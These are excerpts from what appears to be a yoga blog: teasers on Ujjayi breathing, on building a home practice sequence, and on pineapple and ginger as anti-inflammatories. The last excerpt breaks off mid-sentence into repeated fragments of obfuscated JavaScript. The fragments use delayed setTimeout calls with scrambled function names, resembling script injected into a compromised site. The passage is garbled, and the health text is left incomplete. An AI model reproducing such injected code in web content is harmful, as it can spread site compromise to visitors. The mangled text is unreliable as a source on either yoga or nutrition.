Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious As part of our Home Yoga Practice series we begin with learning how to breathe. Sounds odd, I know. You probably take breathing for granted, it’s innate. But, …

We begin our new series the Home Yoga Practice at the beginning. For a successful yoga practice, postures (asanas) can be used as preparations, counter-poses or a focal or peak pose. To create a sequence there should always be a …

Pineapple & ginger are both known as anti-inflammatories. Bromelain is an enzyme that is found in pineapples. It is sometimes used after sinus surgeries to fight inflammation andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * …